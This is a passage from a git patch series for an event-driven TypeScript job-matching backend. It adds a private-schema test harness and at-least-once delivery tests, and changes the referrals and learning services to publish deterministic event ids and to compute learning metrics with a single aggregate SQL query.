}, () => randomUUID()); + await seedParsedResumes(isolated, userIds); + const envelope = jobDiscovered(jobId as string); + + spy.publishBudget = 211; + await expect(deliver(spy, JOB_CONSUMER, envelope)).rejects.toThrow( + 'injected publish failure', + ); + spy.publishBudget = Number.POSITIVE_INFINITY; + await deliver(spy, JOB_CONSUMER, envelope, 1); + + expect(await scoreRows()).toHaveLength(FULL_POOL); + expect(await scoredEvents()).toHaveLength(FULL_POOL); + expect(await duplicatedPairs()).toEqual([]); + }); + + it('the same event delivered to several handlers at once is processed as one', async () => { + const [jobId] = await seedJobs(isolated, 1); + await seedParsedResumes( + isolated, + Array.from({ length: 200 }, () => randomUUID()), + ); + const envelope = jobDiscovered(jobId as string); + + await Promise.all([1, 2, 3].map((attempt) => deliver(spy, JOB_CONSUMER, envelope, attempt))); + + expect(await scoreRows()).toHaveLength(200); + expect(await scoredEvents()).toHaveLength(200); + expect(await duplicatedPairs()).toEqual([]); + }); + }); + + describe('overlapping fan-outs', () => { + it('resume.parsed and job.discovered racing over the same pairs finish without deadlocks', async () => { + const jobIds = await seedJobs(isolated, 40); + const userIds = Array.from({ length: 40 }, () => randomUUID()); + await seedParsedResumes(isolated, userIds); + + await Promise.all([ + ...userIds.map((userId) => deliver(spy, RESUME_CONSUMER, resumeParsed(userId))), + ...jobIds.map((jobId) => deliver(spy, JOB_CONSUMER, jobDiscovered(jobId))), + ]); + + expect(await scoreRows()).toHaveLength(40 * 40); + // Each pair was scored by two different events, so two events per pair. + expect(await scoredEvents()).toHaveLength(2 * 40 * 40); + }); + }); + + describe('upsertScores', () => { + function input( + jobId: string, + userId: string, + score: number, + reasons = ['r'], + ): UpsertScoreInput { + return { jobId, userId, score, reasons, skillGaps: ['g'], modelVersion: 'test-model' }; + } + + it('writes nothing for an unchanged pair and rewrites a changed one', async () => { + const [a, b] = [randomUUID(), randomUUID()]; + const user = randomUUID(); + await upsertScores(isolated.db, [input(a, user, 0.5), input(b, user, 0.5)]); + const first = await scoreRows(); + await new Promise((resolve) => setTimeout(resolve, 15)); + + await upsertScores(isolated.db, [input(a, user, 0.5), input(b, user, 0.75)]); + const second = await scoreRows(); + + const find = (rows: typeof first, jobId: string) => rows.find((row) => row.job_id === jobId); + expect(find(second, a)).toEqual(find(first, a)); + expect(find(second, b)?.score).toBeCloseTo(0.75); + expect(find(second, b)?.scored_at).not.toBe(find(first, b)?.scored_at); + expect(second).toHaveLength(2); + }); + + it('keeps the last of a pair given twice instead of failing the statement', async () => { + const [job, user] = [randomUUID(), randomUUID()]; + + await upsertScores(isolated.db, [input(job, user, 0.2), input(job, user, 0.9)]); + + const rows = await scoreRows(); + expect(rows).toHaveLength(1); + expect(rows[0]?.score).toBeCloseTo(0.9); + }); + + it('batches given in opposite orders do not deadlock', async () => { + const user = randomUUID(); + const jobIds = Array.from({ length: 150 }, () => randomUUID()); + const rows = (score: number) => jobIds.map((jobId) => input(jobId, user, score)); + + for (let round = 0; round < 6; round += 1) { + const forward = rows(0.1 + round / 100); + await Promise.all([ + upsertScores(isolated.db, forward), + upsertScores(isolated.db, [...forward].reverse()), + ]); + } + + expect(await scoreRows()).toHaveLength(150); + }); + }); +}); diff --git a/services/matching/test/support/isolated-db.ts b/services/matching/test/support/isolated-db.ts new file mode 100644 index 0000000..58ba5c1 --- /dev/null +++ b/services/matching/test/support/isolated-db.ts @@ -0,0 +1,322 @@ +/** + * Test harness for the at-least-once suites of the four event consumers + * (matching, referrals, learning, analytics). + * + * The suites publish through a real `PostgresBroker` and drain it, and a + * fan-out seeds hundreds of jobs and candidates. Done in the shared tables, + * that would hand those jobs to every other test's `resume.parsed` handler + * (which scores the 500 newest active jobs) and let this test's consumers pick + * up other tests' outbox rows under the real consumer names. So each suite + * gets a private schema holding copies of exactly the tables it touches, and a + * pool whose `search_path` points at it; unqualified table names in the + * services' queries and in the broker's raw SQL then resolve to the copies. + * `LIKE ... INCLUDING ALL` copies columns, defaults, keys and indexes but not + * foreign keys, so no `auth.users`/`companies` rows are needed either. + * + * Kept under matching's tests and imported by the other three: it is test + * code, and the only thing the suites share. + */ +import { randomUUID } from 'node:crypto'; +import { drizzle } from 'drizzle-orm/postgres-js'; +import { createDatabase, schema, type Database, type DatabaseHandle } from '@atlas/db'; +import { + PostgresBroker, + type BatchPublisher, + type EventHandler, + type PostgresBrokerOptions, +} from '@atlas/messaging'; +import type { EventEnvelope, ParsedProfile } from '@atlas/types'; +import { createSilentLogger } from '@atlas/utils'; + +const COPIED_TABLES = [ + 'event_outbox', + 'event_consumers', + 'event_deliveries', + 'processed_events', + 'jobs', + 'resumes', + 'job_scores', + 'applications', + 'contacts', + 'analytics_events', +] as const; + +export interface IsolatedDatabase { + schemaName: string; + /** Pool on the private schema (raw `sql` for assertions and cleanup). */ + handle: DatabaseHandle; + /** Drizzle over that same pool; every statement it sends is appended to `queries`. */ + db: Database; + queries: string[]; + /** Empties every copied table and the statement log. */ + reset(): Promise; + close(): Promise; +} + +export async function createIsolatedDatabase( + url: string, + options: { maxConnections?: number } = {}, +): Promise { + const schemaName = `atlas_consumer_test_${randomUUID().replace(/-/g, '').slice(0, 12)}`; + // The setup and teardown connection is closed in between: several suites run + // in parallel against one server with a fixed connection limit. + const withAdmin = async (run: (admin: DatabaseHandle) => Promise): Promise => { + const admin = createDatabase({ url, maxConnections: 1 }); + try { + return await run(admin); + } finally { + await admin.close(); + } + }; + + await withAdmin(async (admin) => { + await admin.sql.unsafe(`CREATE SCHEMA ${schemaName}`); + for (const table of COPIED_TABLES) { + await admin.sql.unsafe( + `CREATE TABLE ${schemaName}.${table} (LIKE public.${table} INCLUDING ALL)`, + ); + } + await admin.sql.unsafe( + `ALTER TABLE ${schemaName}.event_deliveries ADD FOREIGN KEY (event_id) REFERENCES ${schemaName}.event_outbox (event_id) ON DELETE CASCADE`, + ); + }); + + const scoped = new URL(url); + scoped.searchParams.set('search_path', `${schemaName},public`); + const handle = createDatabase({ + url: scoped.toString(), + maxConnections: options.maxConnections ?? 6, + }); + const queries: string[] = []; + const db = drizzle(handle.sql, { + schema, + logger: { logQuery: (query) => void queries.push(query) }, + }); + + return { + schemaName, + handle, + db, + queries, + reset: async () => { + await handle.sql.unsafe( + `TRUNCATE ${COPIED_TABLES.map((table) => `${schemaName}.${table}`).join(', ')}`, + ); + queries.length = 0; + }, + close: async () => { + await handle.close(); + await withAdmin((admin) => admin.sql.unsafe(`DROP SCHEMA IF EXISTS ${schemaName} CASCADE`)); + }, + }; +} + +const silent = createSilentLogger(); + +/** A `PostgresBroker` on the private schema with no retry backoff, so a failed delivery is due again at once. */ +export function newPostgresBroker( + isolated: IsolatedDatabase, + overrides: Partial = {}, +): PostgresBroker { + return new PostgresBroker({ db: isolated.db, logger: silent, backoffMs: () => 0, ...overrides }); +} + +export interface SpyBroker extends BatchPublisher { + /** The real broker underneath, for `drain`, `purge` and direct publishes. */ + readonly inner: PostgresBroker; + /** The handler each consumer registered, to call directly with an envelope. */ + handlers: Map; + /** + * Publishes still allowed before every further publish fails. A `publishMany` + * that runs out part-way commits the part that fits first, as a real + * connection loss between two statements would. `Infinity` is healthy. + */ + publishBudget: number; + /** Handlers run through this gate (default: straight through). */ + beforeHandle: () => Promise; +} + +/** + * Wraps a broker so a suite can call a consumer's handler directly with a + * chosen envelope, make publishing fail after N events, or hold handlers at a + * barrier. `subscribe` still forwards, so the same wrapper can also be drained. + */ +export function spyBroker(inner: PostgresBroker): SpyBroker { + const spy: SpyBroker = { + inner, + handlers: new Map(), + publishBudget: Number.POSITIVE_INFINITY, + beforeHandle: async () => undefined, + async publish(envelope) { + if (spy.publishBudget < 1) throw new Error('injected publish failure'); + spy.publishBudget -= 1; + await inner.publish(envelope); + }, + async publishMany(envelopes) { + const allowed = Math.max(0, Math.min(envelopes.length, spy.publishBudget)); + spy.publishBudget -= allowed; + if (allowed > 0) await inner.publishMany(envelopes.slice(0, allowed)); + if (allowed < envelopes.length) throw new Error('injected publish failure'); + }, + async subscribe(options) { + spy.handlers.set(options.consumer, options.handler); + return inner.subscribe({ + ...options, + handler: async (envelope, context) => { + await spy.beforeHandle(); + await options.handler(envelope, context); + }, + }); + }, + isHealthy: () => inner.isHealthy(), + close: () => inner.close(), + }; + return spy; +} + +/** Runs a consumer's handler directly, the way a drain would after claiming the delivery. */ +export function deliver( + spy: SpyBroker, + consumer: string, + envelope: EventEnvelope, + attempt = 0, +): Promise { + const handler = spy.handlers.get(consumer); + if (!handler) throw new Error(`no handler registered for ${consumer}`); + return handler(envelope, { attempt, trace: envelope.trace }); +} + +export function parsedProfile(skills: string[], totalMonths: number): ParsedProfile { + return { + full_name: 'Test Candidate', + headline: null, + summary: null, + contact: { email: null, phone: null, location: null, links: [] }, + skills: skills.map((name) => ({ name, raw: name, months_experience: totalMonths })), + experience: [], + education: [], + certifications: [], + keywords: [], + total_months_experience: totalMonths, + }; +} + +export const SKILL_POOL = [ + 'typescript', + 'postgresql', + 'react', + 'node', + 'python', + 'go', + 'rust', + 'kafka', +]; + +/** `count` active jobs with varied titles and skills, newest first by index. */ +export async function seedJobs( + isolated: IsolatedDatabase, + count: number, + companyId = randomUUID(), +): Promise { + const rows = Array.from({ length: count }, (_, index) => ({ + companyId, + title: ['Senior Engineer', 'Junior Engineer', 'Engineer'][index % 3] as string, + source: 'manual' as const, + jobHash: `${randomUUID().replace(/-/g, '')}${index}`.padEnd(64, '0').slice(0, 64), + skills: SKILL_POOL.filter((_skill, skillIndex) => (index + skillIndex) % 3 !== 0), + isActive: true, + })); + const inserted: { jobId: string }[] = []; + for (let start = 0; start < rows.length; start += 250) { + inserted.push( + ...(await isolated.db + .insert(schema.jobs) + .values(rows.slice(start, start + 250)) + .returning({ jobId: schema.jobs.jobId })), + ); + } + return inserted.map((row) => row.jobId); +} + +/** One parsed resume per user, with skills varying by position so scores differ. */ +export async function seedParsedResumes( + isolated: IsolatedDatabase, + userIds: string[], +): Promise { + const rows = userIds.map((userId, index) => ({ + userId, + storageUrl: `resumes/${userId}/seed`, + originalFilename: 'resume.txt', + contentType: 'text/plain', + byteSize: 10, + contentHash: randomUUID(), + status: 'parsed' as const, + parsedProfile: parsedProfile( + SKILL_POOL.filter((_skill, skillIndex) => (index + skillIndex) % 2 === 0), + 6 + (index % 60), + ), + parsedAt: new Date(Date.now() - index * 1000).toISOString(), + })); + for (let start = 0; start < rows.length; start += 250) { + await isolated.db.insert(schema.resumes).values(rows.slice(start, start + 250)); + } +} + +const sleep = (ms: number): Promise => new Promise((resolve) => setTimeout(resolve, ms)); + +/** Holds every caller of `arrive` until `parties` have arrived (or `timeoutMs` passes, so a missed rendezvous fails a test instead of hanging it). */ +export function createBarrier(parties: number, timeoutMs = 5_000) { + let arrivals = 0; + let open!: () => void; + const opened = new Promise((resolve) => { + open = resolve; + }); + return { + get arrivals(): number { + return arrivals; + }, + async arrive(): Promise { + arrivals += 1; + if (arrivals >= parties) open(); + await Promise.race([opened, sleep(timeoutMs)]); + }, + }; +} + +export interface RaceResult { + /** How many handler invocations reached the rendezvous; 2 means the race really happened. */ + handlerRuns: number; +} + +/** + * Makes two drains deliver the same event to the same consumer at the same + * time: the situation a lease that expired mid-handler produces in production, + * where "the broker leases deliveries" no longer protects the handler. The + * first drain claims the delivery and is held inside its handler; once its + * (very short) lease has lapsed a second drain claims the same delivery, and + * both handlers are released together. + * + * `register` subscribes the consumers under test on each of the two brokers; + * the event must already be in the outbox. + */ +export async function raceTwoDrains( + isolated: IsolatedDatabase, + register: (broker: SpyBroker) => Promise, +): Promise { + const leaseMs = 25; + const barrier = createBarrier(2); + const [first, second] = [1, 2].map(() => { + const broker = spyBroker(newPostgresBroker(isolated, { leaseMs, retentionMs: 0 })); + broker.beforeHandle = () => barrier.arrive(); + return broker; + }) as [SpyBroker, SpyBroker]; + await register(first); + await register(second); + + const firstDrain = first.inner.drain({ budgetMs: 15_000 }); + while (barrier.arrivals < 1) await sleep(5); + await sleep(leaseMs + 50); + const secondDrain = second.inner.drain({ budgetMs: 15_000 }); + await Promise.all([firstDrain, secondDrain]); + return { handlerRuns: barrier.arrivals }; +} From ea0c5c45f7333eb0a76b82edf4516028f8695926 Mon Sep 17 00:00:00 2001 From: Claude Date: Tue, 27 Oct 2026 13:11:43 +0000 Subject: [PATCH 39/91] fix(referrals): derive referral.detected ids per contact and application application.created can reach the handler more than once (a retry after a failure part-way, an expired lease, two drains racing) and each run published referral.detected for every contact under fresh event ids, which outreach would act on again. One detection is one (application, contact) pair: its id is now derivedEventId(, referral.detected::), so a repeat is the same envelope and the outbox drops it. The up-to-five events of one application go out through publishAll. Tests (private schema) cover redelivery, the same event handled concurrently, and a failure part-way plus its retry, each ending with exactly one referral.detected per contact. Co-Authored-By: Claude Sonnet 5.5 Claude-Session: https://claude.ai/code/session_01BdqVHQRXj76uudaef6gTD1 --- services/referrals/src/worker.ts | 28 ++- services/referrals/test/at-least-once.test.ts | 229 ++++++++++++++++++ 2 files changed, 251 insertions(+), 6 deletions(-) create mode 100644 services/referrals/test/at-least-once.test.ts diff --git a/services/referrals/src/worker.ts b/services/referrals/src/worker.ts index 73f241a..db38cf1 100644 --- a/services/referrals/src/worker.ts +++ b/services/referrals/src/worker.ts @@ -1,5 +1,11 @@ import type { Database } from '@atlas/db'; -import { createEvent, type EventBroker, type Subscription } from '@atlas/messaging'; +import { + createEvent, + derivedEventId, + publishAll, + type EventBroker, + type Subscription, +} from '@atlas/messaging'; import type { EventEnvelope } from '@atlas/types'; import { childTrace, type Logger } from '@atlas/utils'; import { findJobById } from './repo/lookups.js'; @@ -19,15 +25,23 @@ const TOP_CONTACTS_PER_COMPANY = 5; * already a known contact and, if so, flag each as a referral opportunity. * Outreach-service (or a future one) is expected to pick up `referral.detected` * and draft something — this service only detects, per docs/08's split. + * + * Delivery is at-least-once, so this can run again for the same application + * (a retry, a lease that expired, two drains racing). One detection is one + * (application, contact) pair, and its event id is derived from the + * triggering event and that pair: the repeat is the same envelope and the + * outbox drops it, so outreach is not triggered twice for one referral. */ async function handleApplicationCreated(deps: WorkerDeps, envelope: EventEnvelope<'application.created'>) { - const { job_id, user_id } = envelope.payload; + const { application_id, job_id, user_id } = envelope.payload; const job = await findJobById(deps.db, job_id); if (!job) return; const contacts = await topContactsForCompany(deps.db, job.company_id, TOP_CONTACTS_PER_COMPANY); - for (const contact of contacts) { - await deps.broker.publish( + const occurredAt = new Date().toISOString(); + await publishAll( + deps.broker, + contacts.map((contact) => createEvent( 'referral.detected', { @@ -37,9 +51,11 @@ async function handleApplicationCreated(deps: WorkerDeps, envelope: EventEnvelop relevance_score: contact.relevanceScore ?? 0, }, childTrace(envelope.trace, { user_id }), + occurredAt, + derivedEventId(envelope.event_id, `referral.detected:${contact.contactId}:${application_id}`), ), - ); - } + ), + ); } export async function registerConsumers(deps: WorkerDeps): Promise { diff --git a/services/referrals/test/at-least-once.test.ts b/services/referrals/test/at-least-once.test.ts new file mode 100644 index 0000000..500a778 --- /dev/null +++ b/services/referrals/test/at-least-once.test.ts @@ -0,0 +1,229 @@ +/** + * referrals-service under at-least-once delivery: `application.created` can + * reach the handler again (a retry after a failure part-way, an expired lease, + * two drains racing), and one referral must stay one `referral.detected` — it + * is what outreach acts on. + * + * Runs against a private schema (see matching's support/isolated-db.ts). + * DB-backed tests self-skip when ATLAS_TEST_DATABASE_URL is unset. + */ +import { randomUUID } from 'node:crypto'; +import { afterAll, beforeAll, beforeEach, describe, expect, it } from 'vitest'; +import { schema } from '@atlas/db'; +import { createEvent, derivedEventId } from '@atlas/messaging'; +import type { EventEnvelope } from '@atlas/types'; +import { createSilentLogger, newTraceContext } from '@atlas/utils'; +import { + createIsolatedDatabase, + deliver, + newPostgresBroker, + spyBroker, + type IsolatedDatabase, + type SpyBroker, +} from '../../matching/test/support/isolated-db.js'; +import { registerConsumers } from '../src/worker.js'; + +const testDatabaseUrl = process.env.ATLAS_TEST_DATABASE_URL; +const CONSUMER = 'referrals-service.application-created'; + +describe.skipIf(!testDatabaseUrl)('referrals-service under at-least-once delivery', () => { + let isolated: IsolatedDatabase; + let spy: SpyBroker; + const sql = () => isolated.handle.sql; + + beforeAll(async () => { + isolated = await createIsolatedDatabase(testDatabaseUrl as string); + }); + + afterAll(async () => { + await isolated?.close(); + }); + + beforeEach(async () => { + await isolated.reset(); + spy = spyBroker(newPostgresBroker(isolated)); + await registerConsumers({ db: isolated.db, broker: spy, logger: createSilentLogger() }); + }); + + /** A company with `contactCount` contacts (relevance falling from 0.95), a job there, and an application to it. */ + async function seedApplication(contactCount: number) { + const companyId = randomUUID(); + const userId = randomUUID(); + const [job] = await isolated.db + .insert(schema.jobs) + .values({ + companyId, + title: 'Backend Engineer', + source: 'manual', + jobHash: randomUUID().replace(/-/g, '').padEnd(64, '0'), + }) + .returning(); + const [application] = await isolated.db + .insert(schema.applications) + .values({ + userId, + jobId: job?.jobId as string, + mode: 'manual', + status: 'draft', + idempotencyKey: randomUUID(), + }) + .returning(); + const contacts = + contactCount === 0 + ? [] + : await isolated.db + .insert(schema.contacts) + .values( + Array.from({ length: contactCount }, (_, index) => ({ + companyId, + email: `contact-${index}-${randomUUID()}@example.com`, + relevanceScore: 0.95 - index * 0.1, + })), + ) + .returning(); + return { + companyId, + userId, + jobId: job?.jobId as string, + applicationId: application?.applicationId as string, + /** Contacts the handler should pick: the five most relevant. */ + topContactIds: contacts + .sort((a, b) => (b.relevanceScore ?? 0) - (a.relevanceScore ?? 0)) + .slice(0, 5) + .map((contact) => contact.contactId), + }; + } + + function applicationCreated(seed: { + applicationId: string; + userId: string; + jobId: string; + }): EventEnvelope<'application.created'> { + return createEvent( + 'application.created', + { + application_id: seed.applicationId, + user_id: seed.userId, + job_id: seed.jobId, + mode: 'manual', + }, + newTraceContext({ user_id: seed.userId }), + ); + } + + async function detected() { + return sql()< + { + event_id: string; + payload: { + contact_id: string; + company_id: string; + user_id: string; + relevance_score: number; + }; + }[] + >` + select event_id, payload from event_outbox where event_type = 'referral.detected' order by event_id`; + } + + async function duplicatedDetections() { + return sql()<{ contact_id: string; copies: number }[]>` + select payload->>'contact_id' as contact_id, count(*)::int as copies + from event_outbox where event_type = 'referral.detected' + group by 1 having count(*) > 1`; + } + + it('publishes one referral.detected per top contact, keyed by the event, the contact and the application', async () => { + const seed = await seedApplication(7); + const envelope = applicationCreated(seed); + + await deliver(spy, CONSUMER, envelope); + + const events = await detected(); + expect(events.map((event) => event.event_id).sort()).toEqual( + seed.topContactIds + .map((contactId) => + derivedEventId(envelope.event_id, `referral.detected:${contactId}:${seed.applicationId}`), + ) + .sort(), + ); + expect( + events.every( + (event) => + event.payload.company_id === seed.companyId && event.payload.user_id === seed.userId, + ), + ).toBe(true); + expect(events.map((event) => event.payload.contact_id).sort()).toEqual( + [...seed.topContactIds].sort(), + ); + }); + + it('a redelivered event publishes nothing new', async () => { + const seed = await seedApplication(5); + const envelope = applicationCreated(seed); + + await deliver(spy, CONSUMER, envelope); + const before = await detected(); + await deliver(spy, CONSUMER, envelope, 1); + await deliver(spy, CONSUMER, envelope, 2); + + expect(await detected()).toEqual(before); + expect(before).toHaveLength(5); + }); + + it('the same event delivered to several handlers at once publishes each detection once', async () => { + const seed = await seedApplication(5); + const envelope = applicationCreated(seed); + + await Promise.all([1, 2, 3, 4].map((attempt) => deliver(spy, CONSUMER, envelope, attempt))); + + expect(await detected()).toHaveLength(5); + expect(await duplicatedDetections()).toEqual([]); + }); + + it('a failure part-way and its retry publish each detection exactly once', async () => { + const seed = await seedApplication(5); + const envelope = applicationCreated(seed); + + spy.publishBudget = 2; + await expect(deliver(spy, CONSUMER, envelope)).rejects.toThrow('injected publish failure'); + spy.publishBudget = Number.POSITIVE_INFINITY; + await deliver(spy, CONSUMER, envelope, 1); + + expect(await detected()).toHaveLength(5); + expect(await duplicatedDetections()).toEqual([]); + }); + + it('a different application at the same company is a different detection', async () => { + const first = await seedApplication(3); + const [secondApplication] = await isolated.db + .insert(schema.applications) + .values({ + userId: randomUUID(), + jobId: first.jobId, + mode: 'manual', + status: 'draft', + idempotencyKey: randomUUID(), + }) + .returning(); + const second = { + ...first, + applicationId: secondApplication?.applicationId as string, + userId: secondApplication?.userId as string, + }; + + await deliver(spy, CONSUMER, applicationCreated(first)); + await deliver(spy, CONSUMER, applicationCreated(second)); + + expect(await detected()).toHaveLength(6); + }); + + it('publishes nothing for a missing job or a company with no contacts', async () => { + const lonely = await seedApplication(0); + + await deliver(spy, CONSUMER, applicationCreated(lonely)); + await deliver(spy, CONSUMER, applicationCreated({ ...lonely, jobId: randomUUID() })); + + expect(await detected()).toHaveLength(0); + }); +}); From 66e5263658f9896dc20cdef426fa4aa728c9e7ca Mon Sep 17 00:00:00 2001 From: Claude Date: Tue, 27 Oct 2026 13:11:49 +0000 Subject: [PATCH 40/91] fix(learning): one aggregate query and derived ids for learning.updated Every application.created recomputed the whole metric by loading two 5000-row lists and folding them in memory, and published learning.updated again on every retry under a fresh event id. - The recompute is a single aggregate query (aggregateModelGroups): one small row per model version. "Applied" is an EXISTS against all applications instead of the latest 5000, so a score is never misclassified because its application fell out of a window. summarizeGroups is now the one place mean and lift are defined, shared with the in-memory computeLearningMetrics that the metrics route still uses. - learning.updated ids are derivedEventId(, learning.updated::score_lift): a redelivery publishes the same envelopes and the outbox drops them. The first run's value stands if a retry would compute a newer one. Tests (private schema) check the aggregate against the in-memory path and its statement count, then redelivery, concurrent handling and a failure part-way plus its retry. Co-Authored-By: Claude Sonnet 5.5 Claude-Session: https://claude.ai/code/session_01BdqVHQRXj76uudaef6gTD1 --- services/learning/src/lib/metrics.ts | 48 ++-- services/learning/src/repo/lookups.ts | 54 +++- services/learning/src/worker.ts | 69 +++-- services/learning/test/at-least-once.test.ts | 275 +++++++++++++++++++ 4 files changed, 404 insertions(+), 42 deletions(-) create mode 100644 services/learning/test/at-least-once.test.ts diff --git a/services/learning/src/lib/metrics.ts b/services/learning/src/lib/metrics.ts index 9654581..d06182d 100644 --- a/services/learning/src/lib/metrics.ts +++ b/services/learning/src/lib/metrics.ts @@ -17,6 +17,35 @@ export interface ModelMetric { lift: number | null; } +/** Running totals for one model version, before they are turned into means. */ +export interface ModelGroup { + modelVersion: string; + appliedSum: number; + appliedCount: number; + notAppliedSum: number; + notAppliedCount: number; +} + +/** + * Turns per-model totals into the metric. The one place "mean" and "lift" are + * defined, shared by the in-memory path below and the aggregate query in + * `repo/lookups.ts`, so the two cannot drift apart. + */ +export function summarizeGroups(groups: ModelGroup[]): ModelMetric[] { + return groups.map((group) => { + const appliedMeanScore = group.appliedCount > 0 ? group.appliedSum / group.appliedCount : null; + const notAppliedMeanScore = group.notAppliedCount > 0 ? group.notAppliedSum / group.notAppliedCount : null; + return { + modelVersion: group.modelVersion, + appliedMeanScore, + notAppliedMeanScore, + appliedSamples: group.appliedCount, + notAppliedSamples: group.notAppliedCount, + lift: appliedMeanScore !== null && notAppliedMeanScore !== null ? appliedMeanScore - notAppliedMeanScore : null, + }; + }); +} + /** * The honest version of a "learning loop" available without any ML * infrastructure or a labeled outcome dataset (no LLM/model API key is @@ -25,13 +54,11 @@ export interface ModelMetric { * rather than pretending to retrain weights against data that doesn't exist. */ export function computeLearningMetrics(scores: ScoredJobRow[], appliedPairs: Set): ModelMetric[] { - const groups = new Map< - string, - { appliedSum: number; appliedCount: number; notAppliedSum: number; notAppliedCount: number } - >(); + const groups = new Map(); for (const row of scores) { const group = groups.get(row.modelVersion) ?? { + modelVersion: row.modelVersion, appliedSum: 0, appliedCount: 0, notAppliedSum: 0, @@ -47,16 +74,5 @@ export function computeLearningMetrics(scores: ScoredJobRow[], appliedPairs: Set groups.set(row.modelVersion, group); } - return [...groups.entries()].map(([modelVersion, group]) => { - const appliedMeanScore = group.appliedCount > 0 ? group.appliedSum / group.appliedCount : null; - const notAppliedMeanScore = group.notAppliedCount > 0 ? group.notAppliedSum / group.notAppliedCount : null; - return { - modelVersion, - appliedMeanScore, - notAppliedMeanScore, - appliedSamples: group.appliedCount, - notAppliedSamples: group.notAppliedCount, - lift: appliedMeanScore !== null && notAppliedMeanScore !== null ? appliedMeanScore - notAppliedMeanScore : null, - }; - }); + return summarizeGroups([...groups.values()]); } diff --git a/services/learning/src/repo/lookups.ts b/services/learning/src/repo/lookups.ts index c84777e..6dcb4a6 100644 --- a/services/learning/src/repo/lookups.ts +++ b/services/learning/src/repo/lookups.ts @@ -1,6 +1,6 @@ -import { desc } from 'drizzle-orm'; +import { desc, sql } from 'drizzle-orm'; import { schema, type Database } from '@atlas/db'; -import type { ScoredJobRow } from '../lib/metrics.js'; +import type { ModelGroup, ScoredJobRow } from '../lib/metrics.js'; /** * Read-only cross-service queries against the one shared Postgres instance — @@ -44,3 +44,53 @@ export async function listApplicationPairs(db: Database, limit = SAMPLE_LIMIT): .limit(limit); return new Set(rows.map((row) => `${row.userId}:${row.jobId}`)); } + +/** + * The same sample and the same split as `listRecentScores` + `listApplicationPairs` + * fed to `computeLearningMetrics`, as one aggregate query: the database + * returns one small row per model version instead of two 5000-row lists to + * fold in memory. This is what the `application.created` handler runs on + * every application, so its cost must not grow with the sample. + * + * "Applied" is an EXISTS against all applications rather than against the + * latest 5000 of them, so a score is never misclassified as not-applied just + * because its application fell outside a window. + */ +export async function aggregateModelGroups(db: Database, limit = SAMPLE_LIMIT): Promise { + const rows = await db.execute<{ + model_version: string; + applied_count: number; + applied_sum: number; + not_applied_count: number; + not_applied_sum: number; + }>(sql` + WITH recent AS ( + SELECT s.model_version, + s.score, + EXISTS ( + SELECT 1 FROM applications a WHERE a.user_id = s.user_id AND a.job_id = s.job_id + ) AS applied + FROM ( + SELECT model_version, score, user_id, job_id + FROM job_scores + ORDER BY scored_at DESC + LIMIT ${limit} + ) s + ) + SELECT model_version, + (count(*) FILTER (WHERE applied))::int AS applied_count, + (coalesce(sum(score) FILTER (WHERE applied), 0))::float8 AS applied_sum, + (count(*) FILTER (WHERE NOT applied))::int AS not_applied_count, + (coalesce(sum(score) FILTER (WHERE NOT applied), 0))::float8 AS not_applied_sum + FROM recent + GROUP BY model_version + ORDER BY model_version + `); + return rows.map((row) => ({ + modelVersion: row.model_version, + appliedCount: row.applied_count, + appliedSum: row.applied_sum, + notAppliedCount: row.not_applied_count, + notAppliedSum: row.not_applied_sum, + })); +} diff --git a/services/learning/src/worker.ts b/services/learning/src/worker.ts index e87e920..d2cba77 100644 --- a/services/learning/src/worker.ts +++ b/services/learning/src/worker.ts @@ -1,9 +1,15 @@ import type { Database } from '@atlas/db'; -import { createEvent, type EventBroker, type Subscription } from '@atlas/messaging'; +import { + createEvent, + derivedEventId, + publishAll, + type EventBroker, + type Subscription, +} from '@atlas/messaging'; import type { EventEnvelope } from '@atlas/types'; import { childTrace, type Logger } from '@atlas/utils'; -import { computeLearningMetrics } from './lib/metrics.js'; -import { listApplicationPairs, listRecentScores } from './repo/lookups.js'; +import { summarizeGroups } from './lib/metrics.js'; +import { aggregateModelGroups } from './repo/lookups.js'; export interface WorkerDeps { db: Database; @@ -11,32 +17,47 @@ export interface WorkerDeps { logger: Logger; } +const LIFT_METRIC = 'score_lift'; + /** * A new application is itself an outcome signal, so this recomputes the - * whole metric on every `application.created` — cheap at this data volume, - * and simpler than adding a separate scheduled job for an MVP. Publishes one - * `learning.updated` per model version that has enough samples to say - * something (both an applied and a not-applied group). + * metric on every `application.created` — as a single aggregate query (see + * `aggregateModelGroups`), not by loading rows, which is what keeps that + * affordable and simpler than adding a separate scheduled job for an MVP. + * Publishes one `learning.updated` per model version that has enough samples + * to say something (both an applied and a not-applied group). + * + * Delivery is at-least-once, so this can run again for the same application. + * Each update's id is derived from the triggering event, the model version and + * the metric, so a repeat publishes the same envelope and the outbox drops it. + * The first run's value stands even if a retry would compute a slightly newer + * one; the next application refreshes it anyway. */ async function handleApplicationCreated(deps: WorkerDeps, envelope: EventEnvelope<'application.created'>) { - const [scores, appliedPairs] = await Promise.all([listRecentScores(deps.db), listApplicationPairs(deps.db)]); - const metrics = computeLearningMetrics(scores, appliedPairs); + const metrics = summarizeGroups(await aggregateModelGroups(deps.db)); - for (const metric of metrics) { - if (metric.lift === null) continue; - await deps.broker.publish( - createEvent( - 'learning.updated', - { - model_version: metric.modelVersion, - samples: metric.appliedSamples + metric.notAppliedSamples, - metric: 'score_lift', - value: metric.lift, - }, - childTrace(envelope.trace), - ), - ); - } + const occurredAt = new Date().toISOString(); + await publishAll( + deps.broker, + metrics.flatMap((metric) => + metric.lift === null + ? [] + : [ + createEvent( + 'learning.updated', + { + model_version: metric.modelVersion, + samples: metric.appliedSamples + metric.notAppliedSamples, + metric: LIFT_METRIC, + value: metric.lift, + }, + childTrace(envelope.trace), + occurredAt, + derivedEventId(envelope.event_id, `learning.updated:${metric.modelVersion}:${LIFT_METRIC}`), + ), + ], + ), + ); } export async function registerConsumers(deps: WorkerDeps): Promise { diff --git a/services/learning/test/at-least-once.test.ts b/services/learning/test/at-least-once.test.ts new file mode 100644 index 0000000..35c8799 --- /dev/null +++ b/services/learning/test/at-least-once.test.ts @@ -0,0 +1,275 @@ +/** + * learning-service under at-least-once delivery: `application.created` can + * reach the handler again (a retry after a failure part-way, an expired lease, + * two drains racing), and every application re-derives the metric, so the + * recompute must stay one cheap query and its `learning.updated` must not be + * published twice for one trigger. + * + * Runs against a private schema (see matching's support/isolated-db.ts). + * DB-backed tests self-skip when ATLAS_TEST_DATABASE_URL is unset. + */ +import { randomUUID } from 'node:crypto'; +import { afterAll, beforeAll, beforeEach, describe, expect, it } from 'vitest'; +import { schema } from '@atlas/db'; +import { createEvent, derivedEventId } from '@atlas/messaging'; +import type { EventEnvelope } from '@atlas/types'; +import { createSilentLogger, newTraceContext } from 